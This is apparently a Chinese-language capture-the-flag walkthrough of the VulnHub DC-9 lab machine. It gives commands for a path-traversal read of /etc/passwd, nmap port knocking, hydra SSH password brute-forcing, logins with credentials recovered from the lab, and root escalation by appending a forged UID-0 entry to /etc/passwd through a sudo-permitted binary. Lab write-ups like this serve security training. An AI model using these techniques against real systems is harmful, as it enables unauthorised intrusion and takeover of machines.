一、靶机信息收集
1、靶机下载
https://download.vulnhub.com/dc/DC-9.zip
2、靶机IP扫描
3、探测靶机主机、端口、服务版本信息
4、靶机目录扫描
二、web渗透测试
1、访问靶机IP
查看页面功能点,发现一个搜索框和登录框
2、测试一下是否存在sql注入
查看当前数据库
进行账户密码枚举
Md5解密
尝试登录后台
看到页面中显示文件不存在,可能存在文件包含,尝试在当前url路径拼接
?file=../../../../..//etc/passwd
尝试input方式写入木马,没有成功
3、之前扫描数据库时,发现有个users数据库,枚举出他的数据
看了文档说是要敲门,先访问配置文件/etc/knockd.conf
敲门:敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来“关门”,将端口关闭,不对外监听,进一步提升了服务和系统的安全性
然后再分别nmap扫描那三个端口,完成后再扫描22端口,就神奇的打开了
nmap 192.168.31.161 -p 7469
nmap 192.168.31.161 -p 8475
nmap 192.168.31.161 -p 9842
再次扫描端口,发现22端口已开启
4、 将之前sql注入时得到的账号写入user.txt文件,密码写入pass.txt文件,并使用hydra工具进行爆破
hydra -L user1.txt -P password1.txt 192.168.31.161 ssh
成功得到账户密码
5、ssh连接
经测试,只有janitor账户可以
ssh janitor@192.168.31.161
Ilovepeepee
进入目录查看,发现存在几个密码
将其写入到 pass.txt 中,再次爆破,得到一个新的账号密码
hydra -L user1.txt -P password1.txt 192.168.31.161 ssh
fredf:B4-Tru3-001
三、提权
1、 ssh 连接 fredf 用户,连接成功
查看当前权限
看到 /opt/devstuff/dist/test/test 能以 root 权限执行,进入目录,test 文件查看是乱码,在 /opt/devstuff 下发现 test.py
是一个脚本文件,生成一个用户,用root权限执行,将用户写入到 /etc/passwd 中
openssl passwd -1 -salt dc9 123456
回到 /opt/devstuff/dist/test/ 目录,将账号密码写入 /tmp/dc9,再执行 test,将其写入到 /etc/passwd
echo 'dc9:$1$dc9$3Qf9B8VT49B741CMh3R4m1:0:0::/root:/bin/bash' >> /tmp/dc9
sudo ./test /tmp/dc9 /etc/passwd
切换用户到 dc9,提权成功